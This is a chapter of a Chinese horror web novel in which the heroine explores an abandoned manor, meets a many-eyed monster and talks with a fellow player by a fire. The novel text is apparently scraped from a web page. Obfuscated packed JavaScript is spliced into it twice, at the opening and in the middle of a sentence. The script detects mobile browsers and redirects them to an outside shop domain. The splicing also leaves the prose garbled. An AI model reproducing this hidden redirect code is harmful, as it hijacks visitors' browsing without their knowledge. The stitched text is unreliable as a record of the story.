l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482766|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的诡异并没有死,但是泥巴手捂住了诡异的嘴巴,又按住了诡异的身体,将那只诡异拖进了泥土里。 “嘎吱嘎吱!”泥土里居然传来了咀嚼的声音。 绯真想起被突然出现的流沙地吞没的刀疤,会不会也是被眼前这只藏在泥土里的诡异吃掉了? “你是谁?” 泥土里传来的咀嚼声消失了,一阵慌乱的声音之后,一块木牌被面前的泥土吐了出来。 木牌十分眼熟,上面“废弃庄园”四个字还在。 泥土里这家伙就是废弃庄园本身? 绯真伸手将木牌转了个面,还好看了下后面,后面多了一行字。 “小庄需要水。”绯真注意到她说完后,周围的泥土微微起伏了一下。 就像是在应和她的话。 “这里哪里有水?”一路走来,根本没遇到过水源,这块新的区域,除了那间木屋还没去看过,其他地方一眼看过去也不像是有水源存在。 绯真盯着面前的泥土,木牌被泥土吞了下去,但是泥土里没有吐出新的木牌。 泥土涌动了一会,在泥土的表面浮现了三个字。 “不知道。”绯真没想到答案居然是这个,“你都不知道这里哪里有水源,我就更加不知道了。” 看来木屋里不会有水。 不过还是要去看下,毕竟绯真不是在找水。 “我变不出水,你去找其他人吧。”听见身后有轻微的动静,绯真头也不回地说道。 泥土轻轻翻动的声音消失了。 绯真回头看了一眼,什么也没有,没有任何异常,没有看见任何一个玩家。 那些玩家都没有选择走进铁门吗? 算了,那和她无关。 绯真伸手推开了木屋的大门,木屋空荡荡,一目了然。 若说木屋里什么都没有也不太准确,木屋除了大门所在的木墙外,其他三侧木墙都覆盖了镜子。 巨大的镜子,覆盖了整面墙。 对面墙上的镜子偏偏没照出绯真的身影。 这让绯真感到奇怪。 绯真往里走了几步,走到木屋中央时,周围的三面镜子突然发生了变化。 在她前方的这面镜子变成了漆黑一片,左侧的镜子照出的画面是迷宫花园某处走廊,右侧的镜子照出的画面是她见过两次的那扇铁门。 这三面镜子映照出来的画面代表了什么? 绯真往后走了一步,镜子里的内容全都消失了,她的身影没有出现在任何一面镜子上。 但她往前走一步,三面镜子里的内容就又重新出现了。 她再往前走一步,镜子里的画面仍然没有变化。 绯真一直往前走,走到了前面那面镜子面前,距离变近后,她终于看清镜子中漆黑画面里隐藏的东西是什么。 是无数一人高的杂草,在微微晃动。 耳边似乎有簌簌声响起。 绯真微微侧耳,于是她就看见了隐藏在杂草中的那双眼睛,那双异常平静没有波澜的漆黑眼瞳。 只有一丝极细的绿光从瞳孔中闪过。 16. 绿眼睛 那是什么? 绯真仔细去看,那双眼睛却消失了。 抬起的右手碰到了镜面,却没有感受到镜面的冰凉感,只感受到了草叶从指间滑过。 不是镜子? 绯真伸手往前推了一下,右手顺利穿过了镜面,不对,镜面消失了,这里出现了一条新的路。 绯真转头看向两侧,左右两边的镜面还存在吗? “窸窸窣窣!” 声音从近处传来,时远时近。 绯真转身走到了木屋门口,身后的三面镜子恢复了原样,木屋外,她找不到从迷宫花园过来的那扇铁门了。 “窸窸窣窣!” 有声音从绯真身后渐渐靠近。 绯真转头,木屋的地板上没有多出任何东西。 她的视线转向上方,一团黑影从半空中划过,飞快撞向了左侧的镜子。 “哗啦!” 那团黑影砸碎了左侧的镜子又迅速飞向了右侧的镜子。 “哗啦!” 右侧的镜子也破碎了。 接连砸碎了两面镜子,那团黑影仍然没有停下,这次飞向了木屋里最后那面镜子。 意识到这团黑影在做什么,绯真跑向最后那面镜子。 随着绯真跑过木屋中央的位置,镜面再次通往夜晚的废弃庄园。 那团黑影嗖地一下飞了过去,中间没有撞到任何东西,第三次镜面破碎的声音没有响起。 绯真跟着跑了进去,跑进了杂草丛中,然后她的右脚好像踢到了什么东西。 像是球类。 漆黑的夜色下很难看清躺在杂草丛中的球类物体是什么。 绯真低头瞥了一眼就离开了。 “有人吗?”绯真大声问道。 如果没有那团黑影捣乱,她其实回到迷宫花园去最合适,那里有不少玩家,或许哪个玩家就有办法变出水。 现在,绯真也不觉得这最后一条无奈选择的路,未必就牵扯不到某个诡异。 就是不知道是哪个诡异? “你在找我吗?”还真有声音回应了绯真。 一个细长的人影从杂草丛中站了起来,为了让绯真能看清楚,人影身上突然张开了无数双眼睛,每双眼睛都在发光。 这只诡异的眼珠子散发的光芒并不刺眼,只是除了黑漆漆的脑袋外,全身都是发光的眼珠,对于密集恐怖症患者十分不友好。 对于绯真来说,这只能算是小场面。 “你知道出口在哪吗?” 诡异身上所有的眼珠全都转动,盯着绯真看,“你是......” 多眼诡异突然话锋一转,“你也在找出口吗?那你跟我一起走好了。” 跟一只诡异一起走? 新鲜。 “你吃人吗?” 多眼诡异震惊,这人胆子那么大,居然直接就问了吗? 黑漆漆的脑袋往绯真的方向转去,多眼诡异确定绯真眼里只有好奇。 没有一丝恐惧。 “咳咳,算你运气好,遇上我这样的三好诡异,我不吃人。” 绯真感到有趣,笑了,“什么是三好诡异啊?” “好脾气,好相处,好......好胃口。”多眼诡异身上的无数眼珠同时转了一圈,然后一起眨了一下,眼珠散发出的光芒变弱了些。 没走几分钟,多眼诡异身上的所有眼睛就都闭上了。 又往前走了几分钟,多眼诡异站在原地不愿意往前走了。 前方,有人点燃了一个火堆。 火堆边坐着一个人。 绯真快步走了过去。 “哎,你别走啊。”多眼诡异的声音越来越轻,多眼诡异看着绯真走向火堆。 “玩家?”火堆边坐着的是一名女生,穿着深蓝色风衣,留着十分有个性的鲻鱼头发型。 邵孤萱早就注意到了远处的动静,绯真一靠近,她就转头看了过去。 “对。”绯真指了下火堆,“你会变出火焰吗?” “算是会。”邵孤萱往绯真身后,多眼诡异的方向望了一眼,只看见一道模糊的黑影,“他不过来吗?” “我和他不熟。”绯真伸手扯了一把草揉成一团,做成一个粗糙的草垫子,然后坐下问道,“你一个人在这里做什么啊?” “烤番薯啊。”邵孤萱拿起一根树枝拨了一下火堆,露出藏在里面的几个紫红色的番薯。 “你要吃吗?想吃就自己拿。” 邵孤萱挑了一个熟了的番薯拨拉了出来,动作麻利地剥掉了外皮,她那双手都烫红了,她却仍浑然不觉。 “你不觉得烫吗?”绯真看着都觉得烫。 “烫吗?”邵孤萱咬了一口滚烫的番薯,舌头立马被烫到了,“好烫!” “你等我一会。”邵孤萱说完张大嘴努力呼气,待那口红薯变凉些,她才咽下。 “果然很烫。”邵孤萱笑道,“我的双手之前受了伤,现在感受不到冷热。” 难怪那么烫的番薯能用手稳稳拿住,咬一口却立马受不了了。 “你不吃吗?现在不烫了。”邵孤萱看见绯真没拿,她提醒道。 “我不饿。”绯真觉得邵孤萱这话有几分奇怪,这会不烫的番薯不是只有邵孤萱手里咬过一口的番薯吗? 其他番薯都还在火堆里啊。 邵孤萱这是视觉也有问题吗? “陪我说会话吧,我已经很久没遇见像你这样的新人玩家了。”邵孤萱吃着番薯感叹道。 “为什么啊?”绯真开玩笑道,“难道你很有名吗?” “是啊,我在玩家中很有名。”邵孤萱伸手摸了摸自己超有个性的发型,爽朗笑道,“你看我这发型,帅不?” “帅!” “哈哈,你看你都看见了却不知道我是谁,也就只有新人玩家不知道了。”邵孤萱笑了会,伸手指了指还在远处等着的多眼诡异,她凑近问道,“要帮忙吗?” “这个不用,不过我刚好有些疑问。”绯真从火堆里抽走了一根树枝,晃了晃,树枝上焦黑的痕迹已经分不清是火烧过还是其他原因。 “你知道哪里有水吗?怎么才能找到走散的人?这里的出口在哪里?” “你的问题好多啊。”邵孤萱听完发现这些问题都很关键,可惜她也不知道。 “可惜了,这些问题我也不知道答案。” 邵孤萱又指了一下远处的多眼诡异,“你为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482767|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不去问他呢?” “我觉得他也不知道。” “你觉得?” “对,直觉。”绯真自信说道,“我的直觉很准,比如有人撒谎,大部分情况下,我一眼就能看出来。” 那小部分情况下呢?邵孤萱这话没有问出来,她看着绯真自信的眼睛笑了。 “我要走了,你注意不要让这里烧起来。”绯真站起来,她要去找水源、找琥玠、找出口。 “上次不是我。”邵孤萱没有阻拦,她只是提醒了绯真一件事,“小心会喷火的青蛙。” “嗯。” 绯真一离开火堆,远处的多眼诡异就动了。 多眼诡异绕过火堆继续跟着绯真。 一根烧焦了一部分的树枝斜飞出去,刺入多眼诡异面前的泥土里,差一点就刺穿了多眼诡异的脚掌。 多眼诡异抖了一下,接着慢慢蹲下,藏进了杂草丛里。 绯真回头,没看见多眼诡异的身影,只有耳边有窸窸窣窣的声音在响起。 依旧有什么东西在跟着她。 她又看向另一边,火堆熄灭了,黑暗中看不清邵孤萱是否还坐在原地。 绯真在心里默默算了算,这次的玩家人数似乎不止十人。 那么一共有多少人? 在夜色下的废弃庄园独自走了很久,绯真也没遇见迷宫花园,她怀疑她是不是走错了方向时,火焰再次席卷了废弃庄园的杂草地。 这次起火的地方离她很远,比上次还远,但如果什么都不做,火焰迟早烧到她脚下。 杂草丛里窸窸窣窣的声音变得频繁。 无数双眼睛在绯真左侧的杂草丛里散发出光芒,多眼诡异焦急的声音响起:“又着火了,怎么办啊?” “拔草啊。”绯真轻轻松松拔掉了一大把杂草。 可惜匕首还给了琥玠,不然这会有匕首就不用用手拔了。 看见杂草在绯真手里连根拔起,多眼诡异愣住了,很快反应过来后,多眼诡异滚到了绯真身边,急切地说道:“你的力气是不是很大?” “你能不能滚远点,这边没地方给你躺着?”绯真没打算给多眼诡异也留一块空间。 现在时间还充足,多眼诡异完全可以自己动手弄出一块不会被火烧到的安全地方。 “帮帮我!帮帮我!”多眼诡异在地上扭动了起来。 多眼诡异身上那些眼睛跟着一起扭动起来,那场面太怪异太瘆人了。 多眼诡异浑然不觉此刻的模样有多么容易吓跑人。 像是全身得了痒痒病,扭动不停。 “怎么帮你?” “帮帮我,时间要来不及了!”多眼诡异的声音越来越着急,声音渐渐变调,像嗓音被扯住,往上拉起又甩了出去。 说出来的话都失去了原本的音调,让人一时难以听清在说什么。 后面的话都听不清了,绯真也没听见多眼诡异要她帮忙做什么,她有点失去了耐心。 “你不说清楚,我怎么帮你?”多眼诡异一直跟着她,肯定有什么原因,难道原因就是需要她帮忙? 多眼诡异身上的眼珠子再次开始转动,左肩膀上一只眼睛的瞳孔中出现了一丝极细的绿光。